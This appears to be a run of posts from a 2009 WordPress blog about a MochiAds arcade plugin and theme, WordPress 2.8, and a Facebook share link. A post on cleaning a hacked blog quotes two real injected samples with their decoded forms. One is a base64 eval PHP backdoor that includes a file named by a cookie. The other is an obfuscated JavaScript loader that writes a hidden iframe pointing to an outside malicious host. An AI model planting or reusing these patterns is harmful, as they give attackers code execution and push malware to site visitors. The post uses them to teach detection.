Triqui MochiAds Arcade plugin for WordPress Released!!

Due for June 22, I decided to release today the Triqui MochiAds Arcade plugin for WordPress!!

As for the theme, it has its official page.

Hope you enjoy it… I learned a lot about plugin making, and I will surely make some tutorials about advanced plugin coding.

Meanwhile… enjoy the plugin.

MochiAds Arcade Plugin Teaser

Hello, you know next monday I will release the final version of the plugin to turn your WordPress blog into a MochiAds Arcade

I am already using it, and this is a little teaser about its capabilities, and more will be added this week

Enjoy…

WordPress 2.8 released

WordPress 2.8 is available for download at the official site.

All the changes are listed in the 2.8 Release Jazzes Themes and Widgets entry, but I want to focus your attention on these features:

* You can now browse themes directly from your control panel. I mean the themes contained in the theme directory, not into your installation

* Great improvement in the widget interface… now it’s a lot more user friendly

* Fully compatible with Triqui MochiAds Arcade theme and Triqui MochiAds Arcade plugin, this one to be released on June 22, 2009. I won’t unveil all new features, but prepare yourself for the ultimate arcade manager.

That’s all… upgrade with no fear, I already did it in my blogs.

Triqui MochiAds Arcade theme released!!!

Finally I released the theme I announced a lot of times…

See the theme in action

The theme has its own dedicated page, check it at Triqui MochiAds Arcade theme for WordPress official page.

Waiting for your comments… and see you on June 22 for the release of the plugin…

WordPress MochiAds plugin beta FIXED – UPGRADE

Loyal readers know I am developing a WordPress theme and plugin to run an arcade site using MochiAds games.

Released some months ago, it has been fixed when the mochi feed changed and while I was working to make it compatible with Gallery theme and add some new features, the feed changed again so I am updating the plugin again.

Now you can download the mochi.php file and replace the old one.

Refer to WordPress MochiAds plugin beta released for full installation and how-to.

Then, before you start feeding the blog again, you must select Mochi Table to update your table.

You also will notice two new menu options: Mochi Directory, that you should click to create a directory to save your own games, and the alpha version of Manage Game Files that will allow to download selected games from Mochi servers directly to your blog, earning money with the MochiAds publisher program.

Even if it’s just a beta, you can look at the script to see how I developed this function.

If you have some suggestions, let me know. I am working to the theme+plugin so any idea is welcome.

“Gallery”: free WordPress theme – good start for a WP arcade site

Gallery is a free WordPress theme made by Chris Wallace and it’s a free, GPL-compatible gallery-style WordPress child theme built on the Thematic framework.

Thematic is a free, open-source, highly extensible, search-engine optimized WordPress Theme Framework featuring 13 widget-ready areas, grid-based layout samples, styling for popular plugins, and a whole community behind it. It’s perfect for beginner bloggers and WordPress development professionals.

The author says Gallery is extremely flexible and can be used as a starting point for many different types of websites: design gallery, book review site, e-commerce storefront (with the appropriate plugins), inspiration gallery, and so much more… maybe such as a WP arcade site?

The theme has recently been updated (version 1.1 is out at the time I am writing) and among its features we can find:

- WordPress 2.7 compatible
- Built on the Thematic framework
- jQuery hover effects
- ‘Save to Delicious’ link
- ‘Tweet This’ link
- Flexible footer widget area
- WP-PostRatings integration
- Contact Form 7 integration
- BuySellAds plugin integration

Since I am not happy about Triqui layout and I am looking for an interesting theme to design my WP arcade site, I am going to make all necessary changes to the theme in order to make it work perfectly with my MochiAds plugin.

What to do when your blog has a virus

The last time my blog was hacked was… let me remember… uh… yesterday.

But hackers know my blog since quite a long ago and they even made my blog be marked by Google as a site that may harm your computer.

Never mind, all these attacks gave me some experience about the typical WordPress hack.

So, when you realize your blog has been hacked, follow these steps:

Backup your ftp content

Simply open your favorite FTP client and download all the content of your site

Backup your MySQL database

Every decent hosting plan now supports PhpMyAdmin. With this tool you can export and save your entire database in a matter of seconds (or minutes, according to the size of your DB).

Look at this picture:

with your WP database selected, click on Export (1)

Then this is the next page:

remember to:

1) Have all tables selected

2) Select SQL as database type

3) Check Structure, Add IF NOT EXISTS and Enclose table and field names with backquotes. Leave unchecked Add AUTO_INCREMENT value because WP tables already have an auto increment column

4) Check Data, Complete inserts, Extended inserts and Use hexadecimal for BLOB

5) Check Save as file and None. Choosing zipped can be too CPU intensive for your hosting plan

Hunt for the virus

I experienced two types of viruses, both with inserted code into my WP files.

The first one is Php code inserted in one page, like this one

eval(base64_decode('aWYoaXNzZXQoJF9DT09LSUVbInNoIl0pKXtpbmNsdWRlKCRfQ09PS0lFWyJzaCJdKTtleGl0O30='));

that once evaluated is

if(isset($_COOKIE["sh"])){include($_COOKIE["sh"]);exit;}

The second one is a javascript code inserted in one page, like this one

var OymMAWPnBMGWAGuoPiVY = "q60q105q102q114q97q109q101q32q119q105q100q116q104q61q34q52q56q48q34q32q104q101q105q103q104q116q61q34q54q48q34q32q115q114q99q61q34q104q116q116q112q58q47q47q105q108q111q118q101q104q97q115q104q46q99q110q47q114q97q115q116q97q116q100q115q47q103q111q46q112q104q112q63q115q105q100q61q53q34q32q115q116q121q108q101q61q34q98q111q114q100q101q114q58q48q112q120q59q32q112q111q115q105q116q105q111q110q58q114q101q108q97q116q105q118q101q59q32q116q111q112q58q48q112q120q59q32q108q101q102q116q58q45q53q48q48q112q120q59q32q111q112q97q99q105q116q121q58q48q59q32q102q105q108q116q101q114q58q112q114q111q103q105q100q58q68q88q73q109q97q103q101q84q114q97q110q115q102q111q114q109q46q77q105q99q114q111q115q111q102q116q46q65q108q112q104q97q40q111q112q97q99q105q116q121q61q48q41q59q32q45q109q111q122q45q111q112q97q99q105q116q121q58q48q34q62q60q47q105q102q114q97q109q101q62";var LtBVGDCUsUSHTFUTcjHd = OymMAWPnBMGWAGuoPiVY.split("q");var wOAwUuljcGInzJIGNLaG = "";for (var gtNzyhTaRbENpEKKzvub=1; gtNzyhTaRbENpEKKzvub<LtBVGDCUsUSHTFUTcjHd.length; gtNzyhTaRbENpEKKzvub++){wOAwUuljcGInzJIGNLaG+=String.fromCharCode(LtBVGDCUsUSHTFUTcjHd[gtNzyhTaRbENpEKKzvub]);}document.write(wOAwUuljcGInzJIGNLaG)

that once evaluated returns

<iframe width="480" height="60" src="http://ilovehash.cn/rastatds/go.php?sid=5" style="border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"></iframe>

I got some more similar codes injected in my pages, but all of them have been inserted at the end of the page, in the last row.

So you should search for eval or document.write and see if there are strange strings like the ones I got.

Then, delete or comment them and you should have your blog cleaned and virus-free

I am thinking about making a plugin doing all this hard work for you, at the moment the only one existing seems to be WordPress Exploit Scanner but I would like something more complete.

Create a “Share on Facebook” link in your WordPress blog

With its over 200 millions registered users (read 200 Million Strong) Facebook can bring a lot of traffic to your blog, so in my opinion it’s very important to add a “Share on Facebook” button to your blog.

Facebook Sharer

If you noticed, Facebook as a sharer url allowing you to share a link.

I am going to use this feature to create the button.

sharer.php needs two variables to share your page: u for the link and t for the title, so we need to create a link like

http://www.facebook.com/sharer.php?u=the_link&t=the_title

WordPress functions

The function that returns URL for the permalink to the post currently being processed is the_permalink(). You can read more information about it at the official page.

The function to get the title is (guess what?) the_title. More information at the official page.

Some icons

Just in case you are looking for some interesting Facebook icons, I am giving you a couple of links:

http://csi.nfshost.com/goodies/
http://www.webfruits.it/dblog/articolo.asp?articolo=62 (this one is in italian, just go on download button at the end of the page).

If you know more links about free Facebook icons, just let me know and I’ll add them here.

The code

Time to write some code now… in your wp-content/themes/ folder of your WP installation, locate the folder of your theme and check for single.php file.

Warning: not all themes have a single.php file… if you can’t find it, then probably the right file to edit is index.php… anyway it could be the right file if you see the_content() function.

The code I suggest you to add, after the_content, is

<a href="http://www.facebook.com/sharer.php?u=<?php the_permalink();?>&t=<?php the_title(); ?>" target="blank">Share on Facebook</a>

And you’ll have your Facebook link like the one I added on my blog.

WordPress MochiAds plugin beta FIXED

Some time ago I released the WordPress MochiAds plugin beta, and after some time, it stopped working.

The problem was the feed included two new fields, swf_file_size and recommendation, that made the plugin not compatible with the feed.

You can download the fixed version at this link.

Then, no matter if you already have the plugin installed or not, follow the instructions as it was the first time you install it.

You won’t lose your previously installed games, and you will be able to add new ones.

In a few days I’ll release the final version of the theme too.

How to live forever

While you are reading this post, I’ll probably be in a long airplane trip to Cuba (guess how I am going to spend the hours onboard…).

Now let’s imagine I am inside this plane, and it crashes… I will probably die, and if not, I surely won’t be able to blog for a while.

Anyway, unless you listen to some TV news saying I died in a plane accident, you won’t notice it because next monday a new post will go live. Same thing for tuesday and so on.

That’s because I scheduled some posts for the next week.

Schedule posts for the years to come and you will live forever… just make sure someone pays for your domain renewal…

Quite ironic… reminds me something like “the show must go on”… if you want to contribute to the blog while I am away, read the guidelines at Blogging when you’re on holiday.

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